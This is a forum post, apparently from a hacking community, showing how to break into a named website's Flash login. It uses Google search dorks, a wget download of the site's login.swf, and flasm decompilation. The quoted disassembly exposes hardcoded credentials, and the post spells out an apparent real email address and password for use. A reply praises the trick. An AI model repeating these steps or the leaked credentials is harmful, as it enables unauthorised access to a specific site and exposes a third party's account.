Cracking Flash Logins - Web Application Security

The-Force

Hi today i am going to show yo uhow easy it can be to enter a site with flash logins without having a acount the first thing we need to do is download a programme called flasm you can do this on backtrack by typing apt-get install flasm
now we need to get a flash login page we can do this by doing a few google searches:


loging&#46;swf
inurl&#58;login&#46;swf

Now you have found a site you would like to enter like below

http&#58;//www&#46;pokerkaj&#46;com/

if we add to the end of the url login.swf you will see yo uhave just the login box,in backtrack you can type:

wget http&#58;//www&#46;pokerkaj&#46;com/login&#46;swf

And it will download the login.swf file then all we have to do is open are console & type in flasm -d login.swf it should like:


ovie 'login&#46;swf' // flash 5, total frames&#58; 3, frame rate&#58; 10 fps, 170x109 px

protect

defineButton 20

on overUpToOverDown
push 'V'
push '0'
push '1'
push 'String'
new
setVariable
push 'z'
push ''
push '1'
push 'String'
new
setVariable
push 'z'
push 'userBox'
getVariable
push 'passBox'
getVariable
concat
setVariable
push 'z'
getVariable
push 'Kaj20code20fm'
stringEq
not
branchIfTrue label1
push 'V'
push '1'
setVariable
getURL 'http&#58;//www&#46;pokerkaj&#46;com/frontpage&#46;html' '_self'
label1&#58;
push 'z'
getVariable
push 'Overkaj12345'
stringEq
not
branchIfTrue label2
push 'V'
push '1'
setVariable
getURL 'http&#58;//www&#46;pokerkaj&#46;com/frontpage&#46;html' '_self'
label2&#58;
push 'z'
getVariable
push 'tte@fujitsu&#46;dk20code20fm'
stringEq
not
branchIfTrue label3
push 'V'
push '1'

if you notice it has a table called push & a email address next to it like this push

'tte@fujitsu&#46;dk20code20fm'

all you need is the email tte@fujitsu&#46;dk
& the password is in that same striing
password&#58; 20code20fm

This dose not work on all flash logins but most of them it does also some logins do not require a password & only have a urser name ;)

cheers...

Xin

Great share, this is simillar to decompiling flash games to make game trainers etc, never though of it this way.

Howdy, Stranger!

Top Posters

Who's Online (0)